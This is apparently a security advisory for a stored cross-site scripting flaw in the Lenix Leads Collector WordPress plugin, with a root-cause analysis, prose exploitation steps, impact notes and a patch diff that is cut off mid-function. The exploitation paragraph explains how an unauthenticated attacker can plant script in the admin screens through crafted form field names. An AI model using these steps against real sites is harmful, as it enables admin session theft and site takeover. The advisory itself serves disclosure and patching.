Published : November 25, 2026

CVE-2026-85416: Lenix Leads Collector <= 2.0.0 Unauthenticated Stored Cross-Site Scripting via Form Field Name PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.0.0
Patched Version 2.1.0
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-85416: This is an unauthenticated Stored Cross-Site Scripting vulnerability in the Lenix Leads Collector WordPress plugin, affecting all versions up to and including 2.0.0. The flaw resides in the Contact Form 7 integration path, where attacker-controlled form field names submitted through a public CF7 form are persisted unescaped and later reflected into two admin-side rendering sinks. Atomic Edge assesses the CVSS 7.2 severity as accurate given the unauthenticated entry point and admin-context execution.

Root Cause: The vulnerable path begins in `inc/cf7-integration.php`. The submission handler iterates `$submission_data` and builds `$form_fields[$key]` from the raw CF7 field-name keys without sanitization or allowlisting against the form’s declared fields. The array value is normalized with `implode(‘, ‘, $value)` when it is an array, then the whole structure is serialized with `wp_json_encode($form_fields)` and stored in the `lead_data` post meta via `wp_slash()`. No key validation, no `sanitize_key()` on the field name, and no `esc_html()` on the eventual output boundary. Because CF7 accepts arbitrary extra POST keys prefixed with the form tag name (for example, `your-field-name-extra=`), the attacker controls the array key. The raw key then flows into `inc/cf7-integration.php` rendering (lead detail meta box) and into `inc/class-lenix-custom-fields.php` rendering paths, where the field name is echoed without escaping.

Exploitation: An unauthenticated attacker identifies a public page containing a CF7 form. They inspect the form’s `_wpcf7` and `_wpcf7_version` fields and the form tag prefix, then submit a POST to the same page (or to `/wp-json/contact-form-7/v1/contact-forms/{id}/feedback`) with an extra parameter whose name is a malicious string such as ``. Because the CF7 plugin passes unmatched POST parameters through to `wpcf7_before_send_mail` hooks, the plugin’s integration callback receives the crafted name in `$submission_data`, stores it in the `lead_data` post meta, and later an admin viewing the lead entry list or the lead edit screen renders the key verbatim. Stored payloads fire in the admin session, enabling session theft, admin-side action forgery, or persistence via plugin/theme edits.

Patch Analysis: Version 2.1.0 introduces several layers of hardening. The diff adds `lenix_sanitize_lead_fields()` wrapping before the `wp_json_encode()` call in `inc/cf7-integration.php`, filtering non-scalar array members with `array_filter($value, ‘is_scalar’)` and normalizing keys. Post meta `post_id` is now cast via `absint($form_id)`. In `inc/class-lenix-custom-fields.php` the textarea and select rendering sinks now wrap output with `esc_html()` and `esc_html(wp_trim_words(…))` respectively. Field label reads use `wp_unslash()` before `sanitize_text_field()`, a `save_field` handler validates `field_type` against an allowlist, `field_key` is sanitized on delete and reorder, and the meta box save routine now verifies `elementor_leads_meta_box_nonce`, checks `edit_post` capability, skips revisions, and applies `sanitize_key()` to custom field keys. The custom field filter loop also now requires `is_scalar($value)` and validates `field_key` against the registered custom fields before adding to meta_query. These changes close the unescaped-key persistence path and the unescaped output paths that let the stored payload execute.

Impact: Successful exploitation yields stored XSS in the WordPress admin area. The payload executes in the session of any administrator or editor who views the leads list or a lead detail screen. Consequences include session cookie theft, creation of a rogue admin user, installation of a malicious plugin, and full site compromise. Because the injection point is the CF7 field name, the payload also propagates into CSV exports and email notifications that render field names, widening exposure beyond the admin UI.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/lenix-elementor-leads-addon/elementor-leads.php
+++ b/lenix-elementor-leads-addon/elementor-leads.php
@@ -2,7 +2,7 @@
 /*
 Plugin Name: Lenix Leads Collector
 Plugin URI:  https://lenix.co.il/plugin/lenix-elementor-leads-addon/
-Version:     2.0.0
+Version:     2.1.0
 Description: Leads Collector, Collects forms entries from Elementor,Cf7,WPForms and more with export to CSV.
 Author:      Lenix
 Author URI:  https://lenix.co.il/
@@ -16,7 +16,7 @@
 define( 'ELEMENTOR_LEADS_PLUGIN_BASE', plugin_basename( ELEMENTOR_LEADS__FILE__ ) );
 define( 'ELEMENTOR_LEADS_URL', plugins_url( '/', ELEMENTOR_LEADS__FILE__ ) );
 define( 'ELEMENTOR_LEADS_PATH', plugin_dir_path( ELEMENTOR_LEADS__FILE__ ) );
-define( 'ELEMENTOR_LEADS_VERSION', 2.0);
+define( 'ELEMENTOR_LEADS_VERSION', '2.1.0' );


 load_plugin_textdomain( 'elementor-leads',false, dirname( plugin_basename( __FILE__ ) ). '/languages'  );
@@ -29,6 +29,9 @@
 require( ELEMENTOR_LEADS_PATH . 'inc/class-lenix-lead-response.php' );
 require( ELEMENTOR_LEADS_PATH . 'inc/class-lenix-lead-status.php' );
 require( ELEMENTOR_LEADS_PATH . 'inc/class-lenix-custom-fields.php' );
+require( ELEMENTOR_LEADS_PATH . 'inc/class-lenix-lead-tools.php' );
+
+register_deactivation_hook( __FILE__, array( 'Lenix_Lead_Tools', 'unschedule_retention' ) );

 // Load integrations after all plugins are loaded
 function lenix_elementor_leads_load_integrations() {
@@ -52,9 +55,9 @@

 add_filter( 'plugin_row_meta', 'lenix_plugin_row_meta', 10, 2 );
 function lenix_plugin_row_meta( $links, $file ) {
-	if ( !strpos( $file, 'elementor-leads' ) === false ) {
+	if ( ELEMENTOR_LEADS_PLUGIN_BASE === $file ) {
 		$leads_link = array(
-			'lead_list' => '<a href="'.admin_url().'/admin.php?page=elementor-leads" target="_blank">'.__( 'Forms entries', 'elementor-leads' ).'</a>'
+			'lead_list' => '<a href="'.esc_url( admin_url( 'edit.php?post_type=elementor_lead' ) ).'">'.esc_html__( 'Forms entries', 'elementor-leads' ).'</a>'
 		);

 		$links = array_merge( $links, $leads_link );
--- a/lenix-elementor-leads-addon/inc/cf7-integration.php
+++ b/lenix-elementor-leads-addon/inc/cf7-integration.php
@@ -13,7 +13,7 @@
         // ארגון השדות בפורמט תואם למערכת הלידים
         foreach ($submission_data as $key => $value) {
             if (is_array($value)) {
-                $value = implode(', ', $value);
+                $value = implode(', ', array_filter($value, 'is_scalar'));
             }

             $form_fields[$key] = array(
@@ -26,8 +26,8 @@

         // מטא דאטה ללידים
         $meta = array(
-            'lead_data' => wp_slash(wp_json_encode($form_fields)),
-            'post_id' => get_the_ID(),
+            'lead_data' => wp_slash(wp_json_encode(lenix_sanitize_lead_fields($form_fields))),
+            'post_id' => absint($form_id),
             'form_slug' => 'cf7_' . $form_id,
             'lead_version' => ELEMENTOR_LEADS_VERSION,
             'form_type' => 'cf7'
--- a/lenix-elementor-leads-addon/inc/class-lenix-custom-fields.php
+++ b/lenix-elementor-leads-addon/inc/class-lenix-custom-fields.php
@@ -10,10 +10,13 @@
         $this->fields_table = $wpdb->prefix . 'lenix_custom_lead_fields';
         $this->values_table = $wpdb->prefix . 'lenix_custom_lead_values';

-        // Force install to run if not up to date
-        if (!$this->is_installed()) {
+        // Install / upgrade the tables only when needed (avoids SHOW TABLES on every request)
+        if (get_option('lenix_leads_db_version') !== '1' && !$this->is_installed()) {
             $this->install();
         }
+        if (get_option('lenix_leads_db_version') !== '1') {
+            update_option('lenix_leads_db_version', '1', false);
+        }

         // Add init hook for permission checks
         add_action('init', array($this, 'init_permissions'));
@@ -68,7 +71,7 @@
         global $wpdb;

         // Check if table exists
-        $table_exists = $wpdb->get_var("SHOW TABLES LIKE '{$this->fields_table}'") === $this->fields_table;
+        $table_exists = $wpdb->get_var($wpdb->prepare('SHOW TABLES LIKE %s', $wpdb->esc_like($this->fields_table))) === $this->fields_table;
         if (!$table_exists) {
             return false;
         }
@@ -139,10 +142,11 @@
      * Enqueue admin scripts and styles
      */
     public function enqueue_admin_scripts($hook) {
-        // Remove the hook check to ensure scripts load
-        // if ('lenix-custom-fields' !== $hook) {
-        //     return;
-        // }
+        // Only load on the plugin screens
+        $screen = get_current_screen();
+        if (!$screen || 'elementor_lead' !== $screen->post_type) {
+            return;
+        }

         wp_enqueue_style(
             'lenix-custom-fields',
@@ -159,15 +163,15 @@
             true
         );

-        wp_localize_script('lenix-custom-fields', 'lenixCustomFields', array(
+        wp_localize_script('lenix-custom-fields', 'elementorLeadsVars', array(
             'ajaxurl' => admin_url('admin-ajax.php'),
             'nonce' => wp_create_nonce('lenix_custom_fields'),
-            'strings' => array(
-                'requiredFields' => __('Field Label and Field Key are required', 'elementor-leads'),
-                'invalidFieldKey' => __('Invalid field key format. Use only lowercase letters, numbers and underscores.', 'elementor-leads'),
-                'confirmDelete' => __('Are you sure you want to delete this field?', 'elementor-leads'),
+            'messages' => array(
+                'required_fields' => __('Field Label is required', 'elementor-leads'),
+                'confirm_delete' => __('Are you sure you want to delete this field?', 'elementor-leads'),
                 'saved' => __('Field saved successfully', 'elementor-leads'),
                 'saving' => __('Saving...', 'elementor-leads'),
+                'save_field' => __('Save Field', 'elementor-leads'),
                 'deleting' => __('Deleting...', 'elementor-leads'),
                 'error' => __('Error occurred', 'elementor-leads')
             )
@@ -208,36 +212,46 @@
         }

         // Get and validate field label
-        $field_label = isset($_POST['field_label']) ? sanitize_text_field($_POST['field_label']) : '';
+        $field_label = isset($_POST['field_label']) ? sanitize_text_field(wp_unslash($_POST['field_label'])) : '';
         if (empty($field_label)) {
             wp_send_json_error(__('Field label is required', 'elementor-leads'));
         }

-        // Generate field key from label
-        $field_key = 'field_' . sanitize_key(str_replace(' ', '_', strtolower($field_label)));
-
-        // If field key already exists, append a number
-        $counter = 1;
-        $original_key = $field_key;
-        while ($this->get_field($field_key)) {
-            $field_key = $original_key . '_' . $counter;
-            $counter++;
+        // Update an existing field when its key was posted, otherwise generate a key from the label
+        $posted_key = isset($_POST['field_key']) ? sanitize_key(wp_unslash($_POST['field_key'])) : '';
+        $existing = $posted_key ? $this->get_field($posted_key) : null;
+
+        if ($existing) {
+            $field_key = $existing->field_key;
+        } else {
+            $field_key = 'field_' . sanitize_key(str_replace(' ', '_', strtolower($field_label)));
+
+            // If field key already exists, append a number
+            $counter = 1;
+            $original_key = $field_key;
+            while ($this->get_field($field_key)) {
+                $field_key = $original_key . '_' . $counter;
+                $counter++;
+            }
+        }
+
+        $allowed_types = array('text', 'email', 'number', 'textarea', 'url', 'select', 'checkbox');
+        $field_type = isset($_POST['field_type']) ? sanitize_key(wp_unslash($_POST['field_type'])) : 'text';
+        if (!in_array($field_type, $allowed_types, true)) {
+            $field_type = 'text';
         }

         $field_data = array(
             'field_key' => $field_key,
             'field_label' => $field_label,
-            'field_type' => sanitize_key($_POST['field_type']),
-            'default_value' => sanitize_text_field($_POST['default_value']),
+            'field_type' => $field_type,
+            'default_value' => isset($_POST['default_value']) ? sanitize_textarea_field(wp_unslash($_POST['default_value'])) : '',
             'is_required' => !empty($_POST['is_required']) ? 1 : 0,
-            'field_order' => intval($_POST['field_order'])
+            'field_order' => isset($_POST['field_order']) ? intval($_POST['field_order']) : 0
         );

         global $wpdb;

-        // Check if field exists
-        $existing = $this->get_field($field_data['field_key']);
-
         if ($existing) {
             // Update
             $result = $wpdb->update(
@@ -270,13 +284,18 @@
             wp_send_json_error(__('Permission denied', 'elementor-leads'));
         }

-        $field_key = sanitize_key($_POST['field_key']);
+        $field_key = isset($_POST['field_key']) ? sanitize_key(wp_unslash($_POST['field_key'])) : '';
+        if ($field_key === '') {
+            wp_send_json_error(__('Invalid field', 'elementor-leads'));
+        }

         global $wpdb;
         $result = $wpdb->delete(
             $this->fields_table,
             array('field_key' => $field_key)
         );
+        // Remove the stored values of the deleted field as well
+        $wpdb->delete($this->values_table, array('field_key' => $field_key));

         if ($result === false) {
             wp_send_json_error(sprintf(
@@ -304,9 +323,18 @@

         global $wpdb;

-        foreach ($_POST['order'] as $item) {
-            $field_key = sanitize_key($item['field_key']);
-            $field_order = intval($item['field_order']);
+        foreach (array_values($_POST['order']) as $index => $item) {
+            // Accept a plain list of field keys (ordered) or items with explicit key / order
+            if (is_array($item)) {
+                $field_key = isset($item['field_key']) ? sanitize_key($item['field_key']) : '';
+                $field_order = isset($item['field_order']) ? intval($item['field_order']) : $index;
+            } else {
+                $field_key = sanitize_key($item);
+                $field_order = $index;
+            }
+            if ($field_key === '') {
+                continue;
+            }

             $wpdb->update(
                 $this->fields_table,
@@ -369,11 +397,21 @@
             return;
         }

+        // Only handle leads, never revisions or other post types
+        if (wp_is_post_revision($post_id) || 'elementor_lead' !== get_post_type($post_id)) {
+            return;
+        }
+
+        // Verify the lead edit screen nonce (CSRF protection)
+        if (!isset($_POST['elementor_leads_meta_box_nonce']) || !wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['elementor_leads_meta_box_nonce'])), 'elementor_leads_meta_box_nonce')) {
+            return;
+        }
+
         // Get required capability
         $edit_cap = get_option('elementor_leads_edit_role', 'edit_others_posts');

         // Check if user has permission to edit leads
-        if (!current_user_can($edit_cap)) {
+        if (!current_user_can($edit_cap) || !current_user_can('edit_post', $post_id)) {
             // Add error message directly to the page
             add_filter('redirect_post_location', function($location) {
                 return add_query_arg('lenix_error', 'permission', $location);
@@ -391,9 +429,10 @@
         );

         // Then insert new values
-        foreach ($_POST['custom_fields'] as $field_key => $value) {
+        foreach (wp_unslash($_POST['custom_fields']) as $field_key => $value) {
+            $field_key = sanitize_key($field_key);
             $field = $this->get_field($field_key);
-            if (!$field) continue;
+            if (!$field || is_array($value)) continue;

             // Handle checkbox fields
             if ($field->field_type === 'checkbox') {
@@ -486,7 +525,7 @@
                         echo $value ? '✓' : '✗';
                         break;
                     case 'textarea':
-                        echo !empty($value) ? wp_trim_words($value, 5) : '-'; // מציג רק 5 מילים
+                        echo !empty($value) ? esc_html(wp_trim_words($value, 5)) : '-'; // מציג רק 5 מילים
                         break;
                     case 'email':
                         if (!empty($value)) {
@@ -541,7 +580,7 @@
                         echo $value ? '✓' : '✗';
                         break;
                     case 'textarea':
-                        echo wp_trim_words($value, 10);
+                        echo esc_html(wp_trim_words($value, 10));
                         break;
                     default:
                         echo esc_html($value);
@@ -563,10 +602,10 @@
         $fields = $this->get_fields();
         foreach ($fields as $field) {
             if ($field->show_in_list && $field->field_type === 'select') {
-                $current = isset($_GET['custom_field_' . $field->field_key]) ? $_GET['custom_field_' . $field->field_key] : '';
+                $current = isset($_GET['custom_field_' . $field->field_key]) ? sanitize_text_field(wp_unslash($_GET['custom_field_' . $field->field_key])) : '';

                 echo '<select name="custom_field_' . esc_attr($field->field_key) . '">';
-                echo '<option value="">' . sprintf(__('All %s', 'elementor-leads'), $field->field_label) . '</option>';
+                echo '<option value="">' . esc_html(sprintf(__('All %s', 'elementor-leads'), $field->field_label)) . '</option>';

                 $options = explode("n", $field->default_value);
                 foreach ($options as $option) {
@@ -592,12 +631,17 @@
         $meta_query = array();

         foreach ($_GET as $key => $value) {
-            if (strpos($key, 'custom_field_') === 0 && $value) {
-                $field_key = str_replace('custom_field_', '', $key);
+            if (strpos($key, 'custom_field_') === 0 && $value && is_scalar($value)) {
+                $field_key = sanitize_key(substr($key, strlen('custom_field_')));
+
+                // Only filter by fields that were defined as custom fields - never by arbitrary meta keys
+                if (!$this->get_field($field_key)) {
+                    continue;
+                }

                 $meta_query[] = array(
                     'key' => $field_key,
-                    'value' => $value,
+                    'value' => sanitize_text_field(wp_unslash($value)),
                     'compare' => '='
                 );
             }
@@ -682,7 +726,7 @@

         // If no data found, show a message
         if (!is_array($source_data) || empty(array_filter($source_data))) {
-            echo '<p class="no-source-data">' . __('No source data available', 'elementor-leads') . '</p>';
+            echo '<p class="no-source-data">' . esc_html__('No source data available', 'elementor-leads') . '</p>';
         }
         echo '<span class="lenix-lead-source-field-label">*Lead Source information may not always be accurate. The system attempts to gather data from URLs, referrers, POST data and cookies, but accuracy depends on data availability and expiration.</span>';
         echo '</div>';
@@ -732,11 +776,26 @@
      * Register lead tracking settings
      */
     public function register_lead_tracking_settings() {
-        register_setting('elementor_leads_options', 'elementor_leads_enable_tracking');
+        register_setting('elementor_leads_options', 'elementor_leads_retention_days', array(
+            'sanitize_callback' => 'absint',
+        ));
+        register_setting('elementor_leads_options', 'elementor_leads_enable_tracking', array(
+            'sanitize_callback' => 'absint',
+        ));

         // Add new settings for user roles
-        register_setting('elementor_leads_options', 'elementor_leads_view_role');
-        register_setting('elementor_leads_options', 'elementor_leads_edit_role');
+        register_setting('elementor_leads_options', 'elementor_leads_view_role', array(
+            'sanitize_callback' => function ($value) {
+                $allowed = array('read', 'edit_posts', 'publish_posts', 'edit_others_posts', 'manage_options');
+                return in_array($value, $allowed, true) ? $value : 'edit_posts';
+            },
+        ));
+        register_setting('elementor_leads_options', 'elementor_leads_edit_role', array(
+            'sanitize_callback' => function ($value) {
+                $allowed = array('edit_posts', 'publish_posts', 'edit_others_posts', 'manage_options');
+                return in_array($value, $allowed, true) ? $value : 'edit_others_posts';
+            },
+        ));

         add_settings_section(
             'elementor_leads_tracking_section',
@@ -761,6 +820,14 @@
             'elementor_leads_tracking_section'
         );

+        add_settings_field(
+            'elementor_leads_retention_days',
+            __('Delete old leads', 'elementor-leads'),
+            array($this, 'render_retention_field'),
+            'elementor_leads_settings',
+            'elementor_leads_tracking_section'
+        );
+
         // Add role fields
         add_settings_field(
             'elementor_leads_view_role',
@@ -820,6 +887,20 @@
     }

     /**
+     * Render the leads retention field
+     */
+    public function render_retention_field() {
+        $days = absint(get_option('elementor_leads_retention_days', 0));
+        ?>
+        <input type="number" min="0" step="1" class="small-text" name="elementor_leads_retention_days" value="<?php echo esc_attr($days); ?>" />
+        <?php esc_html_e('days', 'elementor-leads'); ?>
+        <p class="description">
+            <?php esc_html_e('Automatically and permanently delete leads older than this number of days (checked daily). Set 0 to keep leads forever.', 'elementor-leads'); ?>
+        </p>
+        <?php
+    }
+
+    /**
      * Add tracking code to footer if enabled
      */
     public function add_tracking_code() {
@@ -862,20 +943,17 @@
                         return;
                     }

-                    const cookies = document.cookie.split('; ');
-                    const existingCookie = cookies.find(c => {
-                        if (!c.startsWith('lenix_utms=')) return false;
+                    const existingCookie = document.cookie.split('; ').find(c => c.startsWith('lenix_utms='));
+                    if (existingCookie) {
                         try {
-                            const cookieData = JSON.parse(decodeURIComponent(c.split('=')[1]));
-                            return cookieData.lenix_utm_source !== currentUtmSource;
+                            const cookieData = JSON.parse(decodeURIComponent(existingCookie.substring('lenix_utms='.length)));
+                            // Same utm_source as the saved one - nothing to update
+                            if (cookieData.lenix_utm_source === currentUtmSource) {
+                                return;
+                            }
                         } catch (e) {
-                            return false;
+                            // Unreadable cookie - overwrite it below
                         }
-                    });
-
-                    // If utm_source is different, save the new one
-                    if (!existingCookie) {
-                        return;
                     }

                     // Get UTM params without compression
@@ -896,10 +974,7 @@

                     try {
                         const cookieValue = encodeURIComponent(JSON.stringify(data));
-                        document.cookie = `lenix_utms=${cookieValue}; path=/; max-age=2592000`;
-
-                        if (window.location.hostname === 'localhost') {
-                        }
+                        document.cookie = `lenix_utms=${cookieValue}; path=/; max-age=2592000; SameSite=Lax`;
                     } catch (e) {
                     }
                 }
@@ -922,10 +997,7 @@
                     try {
                         const cookieValue = encodeURIComponent(JSON.stringify(firstVisitData));
                         // Set cookie to expire in 30 days
-                        document.cookie = `lenix_first_visit=${cookieValue}; path=/; max-age=2592000`;
-
-                        if (window.location.hostname === 'localhost') {
-                        }
+                        document.cookie = `lenix_first_visit=${cookieValue}; path=/; max-age=2592000; SameSite=Lax`;
                     } catch (e) {
                         console.error('Error saving first visit data:', e);
                     }
@@ -949,7 +1021,7 @@

         // Save settings if form was submitted
         if (isset($_POST['elementor_leads_settings_nonce']) &&
-            wp_verify_nonce($_POST['elementor_leads_settings_nonce'], 'elementor_leads_settings')) {
+            wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['elementor_leads_settings_nonce'])), 'elementor_leads_settings')) {

             // Save tracking setting
             update_option('elementor_leads_enable_tracking',
@@ -957,24 +1029,34 @@
             );

             // Save role settings
+            update_option('elementor_leads_retention_days',
+                isset($_POST['elementor_leads_retention_days']) ? absint($_POST['elementor_leads_retention_days']) : 0
+            );
+
+            // Only known capabilities are accepted
+            $view_caps = array('read', 'edit_posts', 'publish_posts', 'edit_others_posts', 'manage_options');
+            $edit_caps = array('edit_posts', 'publish_posts', 'edit_others_posts', 'manage_options');
+
             if (isset($_POST['elementor_leads_view_role'])) {
-                update_option('elementor_leads_view_role',
-                    sanitize_text_field($_POST['elementor_leads_view_role'])
-                );
+                $view_role = sanitize_text_field(wp_unslash($_POST['elementor_leads_view_role']));
+                if (in_array($view_role, $view_caps, true)) {
+                    update_option('elementor_leads_view_role', $view_role);
+                }
             }

             if (isset($_POST['elementor_leads_edit_role'])) {
-                update_option('elementor_leads_edit_role',
-                    sanitize_text_field($_POST['elementor_leads_edit_role'])
-                );
+                $edit_role = sanitize_text_field(wp_unslash($_POST['elementor_leads_edit_role']));
+                if (in_array($edit_role, $edit_caps, true)) {
+                    update_option('elementor_leads_edit_role', $edit_role);
+                }
             }

             echo '<div class="notice notice-success"><p>' .
-                 __('Settings saved successfully.', 'elementor-leads') .
+                 esc_html__('Settings saved successfully.', 'elementor-leads') .
                  '</p></div>';

-            // Refresh page to update permissions
-            echo '<script>window.location.reload();</script>';
+            // Refresh page (as a GET, without re-submitting the form) to update permissions
+            echo '<script>window.location.replace(window.location.href);</script>';
         }

         ?>
@@ -1014,7 +1096,7 @@
      * Render permissions section description
      */
     public function render_permissions_section_description() {
-        echo '<p>' . __('Configure which user roles can view and edit leads.', 'elementor-leads') . '</p>';
+        echo '<p>' . esc_html__('Configure which user roles can view and edit leads.', 'elementor-leads') . '</p>';
     }

     /**
@@ -1040,7 +1122,7 @@
             );
         }
         echo '</select>';
-        echo '<p class="description">' . __('Users with this role and above will be able to view leads.', 'elementor-leads') . '</p>';
+        echo '<p class="description">' . esc_html__('Users with this role and above will be able to view leads.', 'elementor-leads') . '</p>';
     }

     /**
@@ -1065,7 +1147,7 @@
             );
         }
         echo '</select>';
-        echo '<p class="description">' . __('Users with this role and above will be able to edit leads.', 'elementor-leads') . '</p>';
+        echo '<p class="description">' . esc_html__('Users with this role and above will be able to edit leads.', 'elementor-leads') . '</p>';
     }

     /**
--- a/lenix-elementor-leads-addon/inc/class-lenix-elementor-forms.php
+++ b/lenix-elementor-leads-addon/inc/class-lenix-elementor-forms.php
@@ -1,4 +1,6 @@
 <?php
+if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
+
 class Lenix_Register_Elementor_Forms {

 	public $forms;
@@ -180,7 +182,7 @@
 		foreach($tabs as $key => $label){
 			$style = $key == 'actions' ? ' style="width:250px"' : false;
 			$style = $key == 'leads-count' ? ' style="width:80px"' : $style;
-			echo "<th$style>$label</th>";
+			echo "<th$style>" . esc_html($label) . "</th>";
 		}
 		echo "</tr>";

@@ -192,12 +194,15 @@
 				continue;
 			}

-			$form_name = $form['form_data']['settings']['form_name'];
+			$form_name = (string) $form['form_data']['settings']['form_name'];
 			$post_id = isset($form['post_id']) ? $form['post_id'] : 0;
-			$element_id = isset($form['form_data']['id']) ? $form['form_data']['id'] : 0;
+			$element_id = isset($form['form_data']['id']) ? sanitize_text_field($form['form_data']['id']) : 0;
 			$is_global = get_post_meta($post_id, '_elementor_template_widget_type', true) === 'form';

 			$page_name = $is_cf7 ? __('Contact Form 7', 'elementor-leads') : get_the_title($post_id);
+			if ($is_wpforms) {
+				$page_name = __('WPForms', 'elementor-leads');
+			}

 			// fix elementor 2.1
 			$form_slugs = array($element_id);
@@ -277,8 +282,8 @@

 			$leads_query = false;

-            $email_recipes = isset($form['form_data']['settings']['email_to'])? explode(',',$form['form_data']['settings']['email_to']):"";
-			$email_recipes = $email_recipes != "" ? implode('<br>',$email_recipes) : "";
+            $email_recipes = isset($form['form_data']['settings']['email_to'])? explode(',',(string) $form['form_data']['settings']['email_to']):"";
+			$email_recipes = $email_recipes != "" ? implode('<br>',array_map('esc_html',array_map('trim',$email_recipes))) : "";

 			$is_global = get_post_meta($post_id,'_elementor_template_widget_type',true);
 			$is_global = $is_global && 'form' === $is_global;
@@ -291,15 +296,21 @@


 			echo "<tr>";
-				$link = admin_url()."edit.php?post_type=elementor_lead&elementor_form={$element_id}&elementor_form_post_id={$post_id}";
-				echo "<td><a href='$link'><b>$form_name</b></a></td>";
+				$link = add_query_arg(array(
+					'post_type' => 'elementor_lead',
+					'elementor_form' => $element_id,
+					'elementor_form_post_id' => $post_id,
+				), admin_url('edit.php'));
+				echo "<td><a href='" . esc_url($link) . "'><b>" . esc_html($form_name) . "</b></a></td>";
 				echo "<td>";
 				if ($is_cf7) {
-					echo "<a href='".admin_url('admin.php?page=wpcf7&post='.$post_id)."'>$page_name</a>";
+					echo "<a href='".esc_url(admin_url('admin.php?page=wpcf7&post='.absint($post_id)))."'>" . esc_html($page_name) . "</a></td>";
+				} elseif ($is_wpforms) {
+					echo esc_html($page_name) . "</td>";
 				} else {
-					echo "<a target='_blank' href='".get_permalink($post_id)."'>$page_name</a></td>";
+					echo "<a target='_blank' rel='noopener' href='".esc_url(get_permalink($post_id))."'>" . esc_html($page_name) . "</a></td>";
 				}
-				echo "<td>".$form_type."</td>";
+				echo "<td>".esc_html($form_type)."</td>";
 				echo "<td>";
 				if ($is_wpforms) {
 					$form_slug = 'wpf_' . $post_id;
@@ -340,7 +351,7 @@
 					}
 				}
 				$count_leads = intval($count_leads);
-				echo "$count_leads</td>";
+				echo esc_html($count_leads) . "</td>";
 				echo "<td>$email_recipes</td>";
 				echo "<td>";
 					if($count_leads):
@@ -352,11 +363,24 @@
 						echo "<form>";
 							echo "<input type='hidden' name='post_type' value='elementor_lead'>";
 							echo "<input type='hidden' name='lenix_elementor_leads_export' value='1'>";
-							echo "<input type='hidden' name='elementor_form' value='{$element_id}'>";
-							echo "<input type='hidden' name='elementor_form_post_id' value='{$post_id}'>";
+							echo "<input type='hidden' name='elementor_form' value='" . esc_attr($element_id) . "'>";
+							echo "<input type='hidden' name='elementor_form_post_id' value='" . esc_attr($post_id) . "'>";
+							echo wp_nonce_field('lenix_export_leads', 'lenix_export_nonce', false, false);
 							echo "<div class='define-dates' style='display: none;'>";
 								echo "<table>";
 									echo "<tr>";
+										echo "<td><label>".esc_html__( 'Status', 'elementor-leads' )."</label></td>";
+										echo "<td>" . wp_dropdown_categories(array(
+											'taxonomy' => 'lead_status',
+											'name' => 'lead_status',
+											'value_field' => 'slug',
+											'show_option_all' => __( 'All statuses', 'elementor-leads' ),
+											'hide_empty' => false,
+											'hierarchical' => true,
+											'echo' => false,
+										)) . "</td>";
+									echo "</tr>";
+									echo "<tr>";
 										echo "<td><label>".__( 'From', 'elementor-leads' )."</label></td>";
 										echo "<td><input type='date' name='from_date'></td>";
 									echo "</tr>";
@@ -414,8 +438,9 @@
 			<?php if( !empty($lead_data) ): ?>

 				<?php foreach($lead_data as $field => $data): ?>
+					<?php if (!is_array($data)) { continue; } ?>
 					<tr>
-						<td width="30%"><?php echo $data['title'] ? $data['title'] : $data['type']; ?></td>
+						<td width="30%"><?php echo esc_html( ! empty($data['title']) ? $data['title'] : ( isset($data['type']) ? $data['type'] : '' ) ); ?></td>
 						<td width="70%">
 							<?php
 							if( isset($data['value']) ){
@@ -454,10 +479,14 @@

 		if(isset($_GET['elementor_form']) && isset($_GET['elementor_form_post_id'])):

-			$form_slug = $_GET['elementor_form'];
-			$form = $this->get_form_data($_GET['elementor_form'],$_GET['elementor_form_post_id']);
+			$form = $this->get_form_data(sanitize_text_field(wp_unslash($_GET['elementor_form'])), sanitize_text_field(wp_unslash($_GET['elementor_form_post_id'])));
 			$limit = apply_filters('lenix_elementor_leads_limit_admin_fields_cols',100);

+			if (!$form || empty($form['form_data']['settings']['form_fields'])) {
+				$defaults['form_data'] = __('Form Data','elementor-leads');
+				return $defaults;
+			}
+
 			foreach($form['form_data']['settings']['form_fields'] as $field):
 				if(!$limit){
 					continue;
@@ -491,8 +520,6 @@
 		}
 		$already_displayed[$display_key] = true;

-		$form_slug = isset($_GET['elementor_form']) ? $_GET['elementor_form'] : 0;
-
 		$lead_fields = get_post_meta($post_ID,'lead_data',true);
 		$lead_fields = $lead_fields ? json_decode($lead_fields,true) : false;
 		$is_form_data_column = $column_name == 'form_data';
@@ -504,7 +531,8 @@
 			foreach($lead_fields as $field => $data):

 				if ($column_name == $field || $is_form_data_column ) {
-					echo  $is_form_data_column ? '<tr><th>'.($data['title'] ? $data['title'] : __('No Label','elementor-leads')).'</th><td>' : false;
+					if (!is_array($data)) { continue; }
+					echo  $is_form_data_column ? '<tr><th>'.esc_html(!empty($data['title']) ? $data['title'] : __('No Label','elementor-leads')).'</th><td>' : false;
 					display_value_by_type($data);
 					echo $is_form_data_column ? '</td></tr>' : false;
 				}
@@ -515,7 +543,13 @@

 		} else {

-			$form = $this->get_form_data($_GET['elementor_form'],$_GET['elementor_form_post_id']);
+			if (!isset($_GET['elementor_form']) || !isset($_GET['elementor_form_post_id'])) {
+				return;
+			}
+			$form = $this->get_form_data(sanitize_text_field(wp_unslash($_GET['elementor_form'])), sanitize_text_field(wp_unslash($_GET['elementor_form_post_id'])));
+			if (!$form || empty($form['form_data']['settings']['form_fields'])) {
+				return;
+			}
 			$form_settings = $form['form_data']['settings']['form_fields'];
 			foreach($form_settings as $field){
 				$field_id = isset($field['custom_id']) && $field['custom_id'] ? $field['custom_id'] : $field['_id'];
@@ -566,26 +600,38 @@

 	public function export_elementor_leads_to_csv(){

-        if(!is_admin() || !( current_user_can('editor') || current_user_can('administrator') ) || !isset($_GET['lenix_elementor_leads_export']) || !isset($_GET['elementor_form']) || !isset($_GET['elementor_form_post_id']) ){
+        if(!is_admin() || !isset($_GET['lenix_elementor_leads_export']) || !isset($_GET['elementor_form']) || !isset($_GET['elementor_form_post_id']) ){
                 return;
         }
+
+		// Exporting leads exposes personal data - require the edit capability and a valid nonce.
+		$edit_cap = get_option('elementor_leads_edit_role', 'edit_others_posts');
